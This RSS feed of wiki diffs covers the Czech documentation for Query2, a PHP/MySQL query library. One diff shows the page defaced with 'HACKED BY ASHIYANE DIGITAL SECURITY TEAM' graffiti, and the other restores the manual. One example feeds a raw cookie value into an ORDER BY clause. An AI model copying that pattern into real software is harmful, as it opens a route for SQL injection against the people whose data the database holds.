<rss version="2.0">
<channel>
<title>Query2</title>
<link>http://query2.0o.cz/index.php</link>
<description>RSS feed from Query2</description>
<language>cs</language>

	<item>
	  <title>Main page</title>
	  <pubDate>Sat, 29 Oct 2011 17:47:49 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff"><del>                                                          </del><ins>{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.</ins>

<ins>!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]</ins>

<ins>!Download</ins>

<ins>Aktuální stabilní verze je 1.1.3, k dispozici ke stáhnutí [zde|./download/Query2-1.1.3.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].</ins>

<ins>Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].</ins>

<ins>!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.</ins>


<del>                                                         HACKED BY ASHIYANE DIGITAL SECURITY TEAM  </del><ins>!Manuál
!!Připojení k databázi</ins>

<ins>{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);</ins>

<ins>// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}</ins>

<ins>!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();</ins>

<ins>// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}</ins>

<ins>Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). </ins>

<del>                                                                  MR.CICILI was here ...</del><ins>Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.</ins>

<ins>!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.</ins>

<ins>* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže</ins>

<ins>Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.</ins>

<ins>!!!Příklady</ins>

<ins>{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);</ins>

<ins>// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);</ins>

<del>                                                         SPECIAL TANX</del><ins>// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot;</ins> : <del>M3QDAD</del><ins>&quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery()</ins> - <del>M.R.S.CO</del><ins>akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery()</ins> - <del>ALI_EAGLE</del><ins>vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].</ins>
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Fri, 28 Oct 2011 17:49:38 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff"><del>{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.</del><ins>                                                          </ins>

<del>!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]</del>

<del>!Download</del>

<del>Aktuální stabilní verze je 1.1.3, k dispozici ke stáhnutí [zde|./download/Query2-1.1.3.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].</del>

<del>Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].</del>

<del>!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.</del>


<del>!Manuál
!!Připojení k databázi</del><ins>                                                         HACKED BY ASHIYANE DIGITAL SECURITY TEAM  </ins>

<del>{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);</del>

<del>// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}</del>

<del>!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();</del>

<del>// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}</del>

<del>Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). </del>

<del>Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.</del><ins>                                                                  MR.CICILI was here ...</ins>

<del>!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.</del>

<del>* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže</del>

<del>Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.</del>

<del>!!!Příklady</del>

<del>{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);</del>

<del>// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);</del>

<del>// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
